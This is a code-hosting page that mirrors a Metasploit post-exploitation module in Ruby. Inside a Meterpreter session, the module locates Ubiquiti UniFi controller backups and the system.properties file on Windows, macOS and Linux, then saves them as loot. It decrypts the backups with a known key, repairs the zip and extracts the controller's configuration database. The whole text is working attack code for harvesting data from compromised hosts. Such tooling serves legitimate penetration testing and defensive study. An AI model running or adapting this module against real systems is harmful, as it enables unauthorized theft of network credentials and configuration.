Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/ubiquiti_unifi_backup.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Windows::UserProfiles
11
include Msf::Post::OSX::System
12
include Msf::Auxiliary::Ubiquiti
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Multi Gather Ubiquiti UniFi Controller Backup',
19
'Description' => %q{
20
On an Ubiquiti UniFi controller, reads the system.properties configuration file
21
and downloads the backup and autobackup files. The files are then decrypted using
22
a known encryption key, then attempted to be repaired by zip. Meterpreter must be
23
used due to the large file sizes, which can be flaky on regular shells to read.
24
Confirmed to work on 5.10.19 - 5.10.23, but most likely quite a bit more.
25
If the zip can be repaired, the db and its information will be extracted.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'h00die', # metasploit module
30
'zhangyoufu', # git scripts
31
'justingist' # git script
32
],
33
'Platform' => [ 'linux', 'win', 'osx' ],
34
'SessionTypes' => %w[meterpreter],
35
'References' => [
36
['URL', 'https://github.com/zhangyoufu/unifi-backup-decrypt/'],
37
['URL', 'https://github.com/justingist/POSH-Ubiquiti/blob/master/Posh-UBNT.psm1'],
38
['URL', 'https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation'],
39
['URL', 'https://community.ubnt.com/t5/UniFi-Wireless/unf-controller-backup-file-format/td-p/1624105']
40
],
41
'Notes' => {
42
'Stability' => [CRASH_SAFE],
43
'SideEffects' => [],
44
'Reliability' => []
45
}
46
)
47
)
48
49
register_options([
50
OptPath.new('SYSTEMFILE', [false, 'Custom system.properties file location']),
51
OptPath.new('BACKUPFOLDER', [false, 'Custom backup folder']),
52
])
53
end
54
55
def find_save_files(directory)
56
case session.platform
57
when 'windows'
58
files = session.fs.dir.foreach(directory)
59
else
60
# when 'linux', 'osx', 'unifi'
61
# osx will have a space in it by default, so we wrap the directory in quotes
62
files = cmd_exec("ls '#{directory}'").split(/\r\n|\r|\n/)
63
end
64
65
files.each do |file|
66
full = "#{directory}/#{file}"
67
if directory?(full) && !['.', '..'].include?(file)
68
find_save_files(full)
69
next
70
end
71
72
next unless file.end_with?('.unf')
73
74
f = read_file(full)
75
if f.nil?
76
print_error("#{full} read at 0 bytes. Either file is empty or error reading. If this is a shell, you need to upgrade to meterpreter!!!")
77
next
78
end
79
80
loot_path = store_loot(
81
'ubiquiti.unifi.backup', 'application/zip', session,
82
f, file, 'Ubiquiti Unifi Controller Encrypted Backup Zip'
83
)
84
print_good("File #{full} saved to #{loot_path}")
85
decrypted_data = decrypt_unf(f)
86
if decrypted_data.nil? || decrypted_data.empty?
87
print_error("Unable to decrypt #{loot_path}")
88
next
89
end
90
loot_path = store_loot(
91
'ubiquiti.unifi.backup_decrypted', 'application/zip', session,
92
decrypted_data, "#{file}.broken.zip", 'Ubiquiti Unifi Controller Decrypted Broken Backup Zip'
93
)
94
print_good("File #{file} DECRYPTED and saved to #{loot_path}. File needs to be repair via `zip -FF`")
95
96
# ruby zip can't repair, we can try on command line but its not likely to succeed on all platforms
97
# tested on kali
98
repaired = repair_zip(loot_path)
99
if repaired.nil?
100
fail_with(Failure::Unknown, "Repair failed on #{loot_path.path}")
101
end
102
103
loot_path = store_loot(
104
'ubiquiti.unifi.backup_decrypted_repaired', 'application/zip', session,
105
repaired, "#{file}.zip", 'Ubiquiti Unifi Controller Backup Zip'
106
)
107
print_good("File #{full} DECRYPTED and REPAIRED and saved to #{loot_path}.")
108
config_db = extract_and_process_db(loot_path)
109
if config_db.nil?
110
fail_with(Failure::Unknown, 'Unable to locate db.gz config database file')
111
end
112
print_status('Converting BSON to JSON.')
113
unifi_config_db_json = bson_to_json(config_db)
114
115
if unifi_config_db_json == {}
116
fail_with(Failure::Unknown, 'Error in file conversion from BSON to JSON.')
117
end
118
119
unifi_config_eater(session.session_host, session.session_port, unifi_config_db_json)
120
end
121
end
122
123
def run
124
backup_locations = []
125
sprop_locations = []
126
127
vprint_status('OS Detected: %s' % session.platform)
128
129
case session.platform
130
when 'windows'
131
grab_user_profiles.each do |user|
132
backup_locations << "#{user['ProfileDir']}\\Ubiquiti Unifi\\data\\backup"
133
sprop_locations << "#{user['ProfileDir']}\\Ubiquiti UniFi\\data\\system.properties"
134
end
135
when 'osx'
136
# https://github.com/rapid7/metasploit-framework/pull/11548#issuecomment-472568795
137
get_users.each do |user|
138
backup_locations << "/Users/#{user['name']}/Library/Application Support/UniFi/data/backup"
139
sprop_locations << "/Users/#{user['name']}/Library/Application Support/Unifi/data/system.properties"
140
end
141
else # linux, or a similar device from ubiquiti
142
# https://help.ubnt.com/hc/en-us/articles/226218448-UniFi-How-to-Configure-Auto-Backup
143
backup_locations = [
144
'/data/autobackup', # Cloud key
145
'/var/lib/unifi/backup', # software install linux
146
'/mnt/data/unifi/data/backup' # UDM-PRO (possibly UDM as well)
147
]
148
149
sprop_locations = [
150
'/var/lib/unifi/system.properties', # default location on 5.10.19 on ubuntu 18.04
151
'/mnt/data/unifi/data/system.properties' # UDM-Pro (possibly UDM as well)
152
]
153
end
154
155
# read system.properties
156
if datastore['SYSTEMFILE']
157
datastore['SYSTEMFILE']
158
vprint_status("Utilizing custom system.properties file location: #{datastore['SYSTEMFILE']}")
159
end
160
161
print_status('Attempting to read system.properties file to determine backup locations.')
162
# https://help.ubnt.com/hc/en-us/articles/205202580-UniFi-system-properties-File-Explanation
163
sprop_locations.each do |sprop|
164
next unless exists?(sprop)
165
166
begin
167
data = read_file(sprop)
168
loot_path = store_loot('ubiquiti.system.properties', 'text/plain', session, data, sprop)
169
vprint_status("File #{sprop} saved to #{loot_path}")
170
print_good("Read UniFi Controller file #{sprop}")
171
rescue Rex::Post::Meterpreter::RequestError
172
print_error("Failed to read #{sprop}")
173
data = ''
174
end
175
data.each_line do |line|
176
if !(line.chomp.empty? || line =~ /^#/) && /^autobackup\.dir\s*=\s*(?<d>.+)$/ =~ line
177
backup_locations.append(d.strip)
178
vprint_status("Custom autobackup directory identified: #{d.strip}")
179
end
180
end
181
end
182
183
print_status('Attempting to locate and read backup files.')
184
backup_locations.each do |bl|
185
if !directory?(bl)
186
vprint_error("Directory doesn't exist: #{bl}")
187
next
188
end
189
190
vprint_good("Found backup folder: #{bl}")
191
find_save_files(bl)
192
end
193
end
194
end
195
196